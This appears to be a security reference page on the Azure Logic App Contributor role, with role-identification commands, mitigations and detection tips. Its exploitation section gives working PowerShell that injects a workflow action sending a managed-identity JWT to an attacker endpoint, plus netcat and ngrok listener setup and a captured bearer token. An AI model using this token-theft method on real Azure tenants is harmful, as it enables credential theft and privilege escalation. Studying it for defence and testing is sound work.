AZ_LOGIC_APP_CONTRIBUTOR
Summary
| Attribute | Value |
|---|---|
| Forestall ACL Alias | AZ_LOGIC_APP_CONTRIBUTOR |
| Azure Alias | Logic App Contributor / Logic Apps Standard Contributor (Azure RBAC) |
| Affected Object Types | Logic Apps (Consumption and Standard; exploitation walkthrough covers Consumption workflows) |
| Exploitation Certainty | Certain |
| Azure RBAC Roles | Logic App Contributor (87a39d53-fc1b-424a-814c-f7e04687dc9e), Logic Apps Standard Contributor (ad710c24-b039-4e85-a019-deb4a06e8570) |
Custom Role Actions:
Microsoft.Logic/workflows/*Microsoft.Web/sites/*(for Standard Logic Apps)
Description
AZ_LOGIC_APP_CONTRIBUTOR represents roles that grant full control over Azure Logic Apps. This enables:
- Create/modify workflows - inject malicious actions into Logic App workflows.
- Trigger workflow runs - execute modified workflows.
- Access workflow outputs - read data processed by the Logic App.
- Abuse managed identity - execute actions under the Logic App’s identity.
Logic Apps often have:
- Managed identities with permissions to other Azure resources.
- Connections to external services (Office 365, Salesforce, databases).
- Access to sensitive data flowing through integrations.
The attack pattern involves modifying a workflow to add actions that:
- Steal the managed identity token.
- Exfiltrate data to attacker-controlled endpoints.
- Execute unauthorized operations in connected services.
| Logic App Type | Key Abuse Vector |
|---|---|
| Consumption | Modify workflow JSON, trigger runs |
| Standard | Control App Service-backed Logic App resources and app settings; see AZ_EXECUTE_COMMAND Web App Execute Command and AZ_WEBSITE_CONTRIBUTOR for related abuse paths |
Identification
PowerShell (Az Module)
Connect-AzAccount
# List Logic App Contributor assignmentsGet-AzRoleAssignment -RoleDefinitionName "Logic App Contributor" | Select-Object DisplayName, SignInName, ObjectType, Scope | Format-Table -AutoSize
# List Logic Apps Standard Contributor assignmentsGet-AzRoleAssignment -RoleDefinitionName "Logic Apps Standard Contributor" | Select-Object DisplayName, SignInName, ObjectType, Scope | Format-Table -AutoSize
# List all Logic Apps (Consumption)Get-AzLogicApp | Select-Object Name, ResourceGroupName, State
# List all Logic Apps (Standard)Get-AzResource -ResourceType "Microsoft.Web/sites" | Where-Object { $_.Kind -like "*workflowapp*" } | Select-Object Name, ResourceGroupName, Location
# Check a Consumption Logic App's managed identity$la = Get-AzLogicApp -ResourceGroupName "<RGName>" -Name "<LogicAppName>"$la.Identity
# Check a Standard Logic App's managed identity$standardLa = Get-AzWebApp -ResourceGroupName "<RGName>" -Name "<LogicAppStandardName>"$standardLa.IdentityAzure CLI
# List Logic App Contributor assignmentsaz role assignment list --role "Logic App Contributor" -o table
# List Logic Apps Standard Contributor assignmentsaz role assignment list --role "Logic Apps Standard Contributor" -o table
# List Logic Apps (Consumption)az logic workflow list -o table
# List Logic Apps (Standard)az resource list --resource-type "Microsoft.Web/sites" --query "[?contains(kind, 'workflowapp')].{name:name, resourceGroup:resourceGroup, location:location, kind:kind}" -o table
# Check Consumption Logic App managed identityaz resource show --resource-type "Microsoft.Logic/workflows" --resource-group "<RGName>" --name "<LogicAppName>" --query "identity"
# Check Standard Logic App managed identityaz webapp identity show --resource-group "<RGName>" --name "<LogicAppStandardName>"Azure Portal
- Open Azure Portal -> Logic Apps.
- Select the target Logic App -> Access control (IAM) -> Role assignments.
- Check Identity blade for managed identity configuration.
Exploitation
Method 1: Steal Managed Identity JWT via HTTP POST (SpecterOps Technique)
This Consumption Logic App technique injects an HTTP action that POSTs to an attacker-controlled server with managed identity authentication enabled. When the workflow runs, Azure retrieves a JWT for the managed identity and includes it in the Authorization header of the request to your server. Standard Logic Apps are App Service-backed and require a separate App Service deployment or workflow modification path; see AZ_EXECUTE_COMMAND Web App Execute Command and AZ_WEBSITE_CONTRIBUTOR for related Web App abuse techniques.
Reference: SpecterOps - Managed Identity Attack Paths, Part 2: Logic Apps
Step 1: Start a listener on your attacker server
Option A: Direct server with public IP
# On attacker server (e.g., 159.223.206.196)nc -lvnp 8000Option B: Using ngrok (no public IP needed)
# Terminal 1: Start ngrok tunnelngrok tcp 8000# Note the forwarding address, e.g.: tcp://7.tcp.eu.ngrok.io:11798
# Terminal 2: Start local listenernc -lvnp 8000Option C: Using webhook.site (no setup needed)
Go to https://webhook.site and copy your unique URL.
Step 2: Inject the token-stealing action and HTTP trigger
The Az module returns the Definition as a Newtonsoft JObject, so we must use JObject methods. This adds both an HTTP Request trigger (to invoke the workflow) and the malicious action:
Connect-AzAccount
$la = Get-AzLogicApp -ResourceGroupName "<RGName>" -Name "<LogicAppName>"$definition = $la.Definition
# Create HTTP Request trigger - allows invoking the workflow via HTTP POST$triggerJson = @'{ "type": "Request", "kind": "Http", "inputs": { "schema": {} }}'@
# Create the malicious action - POSTs to attacker server WITH managed identity auth# The JWT token will be sent in the Authorization header# Replace the URI with your listener (ngrok, webhook.site, or direct IP)$stealTokenJson = @'{ "type": "Http", "inputs": { "method": "POST", "uri": "http://<ATTACKER_ENDPOINT>/steal", "body": "token_exfil", "authentication": { "type": "ManagedServiceIdentity", "audience": "https://graph.microsoft.com/" } }, "runAfter": {}}'@
$trigger = [Newtonsoft.Json.Linq.JObject]::Parse($triggerJson)$stealAction = [Newtonsoft.Json.Linq.JObject]::Parse($stealTokenJson)
# Add HTTP Request trigger (named "manual")if ($null -eq $definition["triggers"]) { $definition["triggers"] = [Newtonsoft.Json.Linq.JObject]::new()}$definition["triggers"]["manual"] = $trigger
# Add the malicious actionif ($null -eq $definition["actions"]) { $definition["actions"] = [Newtonsoft.Json.Linq.JObject]::new()}$definition["actions"]["Steal_MI_Token"] = $stealAction
# Update the Logic AppSet-AzLogicApp -ResourceGroupName "<RGName>" -Name "<LogicAppName>" -Definition $definition -State Enabled -Force
Inject the token-stealing action and HTTP trigger
Example URIs:
- Direct IP:
http://159.223.206.196:8000/steal - Ngrok:
http://7.tcp.eu.ngrok.io:11798/steal - Webhook.site:
https://webhook.site/abc12345-...
Step 3: Trigger the workflow
The HTTP Request trigger creates a callback URL with a SAS token. Use it to invoke the workflow:
$la = Get-AzLogicApp -ResourceGroupName "<RGName>" -Name "<LogicAppName>"
# Get the callback URL (includes SAS token for authentication)$callbackUrl = Get-AzLogicAppTriggerCallbackUrl -ResourceGroupName "<RGName>" -Name "<LogicAppName>" -TriggerName "manual"
# Display the URL$callbackUrl.Value
# Trigger the workflow - this executes all actions including our malicious oneInvoke-RestMethod -Uri $callbackUrl.Value -Method POST -ContentType "application/json" -Body "{}"
Trigger the workflow
Step 4: Capture the token
On your listener, you’ll receive the HTTP POST with the JWT in the Authorization header:
POST /steal HTTP/1.1Host: 7.tcp.eu.ngrok.io:11798Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6Ik...Content-Type: application/json...
Capture the token
Copy the token after Bearer .
Token Audience Options:
| Audience | Use Case |
|---|---|
https://graph.microsoft.com/ |
MS Graph API (users, groups, apps) |
https://management.azure.com/ |
Azure Resource Manager |
https://vault.azure.net/ |
Key Vault secrets |
https://database.windows.net/ |
Azure SQL |
The audience value in the injected HTTP action determines the token audience. Edit the audience field and re-run the workflow to capture a token for a different resource.
Mitigation
-
Minimize Logic App Contributor assignments
- Use Logic App Operator for running workflows without modification rights.
- Scope assignments to specific Logic Apps.
-
Apply least privilege to managed identities
- Logic App managed identities should have minimal required permissions.
-
Secure API connections
- Regularly review and rotate API connection credentials.
- Use managed identities for Azure connections where possible.
-
Enable diagnostic logging
- Send workflow runs and trigger history to Log Analytics.
-
Network isolation
- Use Integration Service Environments (ISE) or VNet integration for sensitive Logic Apps.
Detection
Use the Azure Portal:
- Open Azure Portal -> Logic Apps -> Select the target Logic App.
- Click Logic app designer or Code view to review workflow actions.
- Look for suspicious HTTP actions, especially those with:
- External URLs (non-Azure endpoints)
authenticationblocks usingManagedServiceIdentity
- Check Overview -> Runs history for unexpected workflow executions.
- Review Activity log for
Set Workflowoperations indicating workflow modifications.
References
- https://medium.com/specter-ops-posts/managed-identity-attack-paths-part-2-logic-apps-52b29354fc54
- https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles#logic-app-contributor
- https://learn.microsoft.com/en-us/azure/logic-apps/logic-apps-securing-a-logic-app
- https://microsoft.github.io/Azure-Threat-Research-Matrix/Execution/AZT303/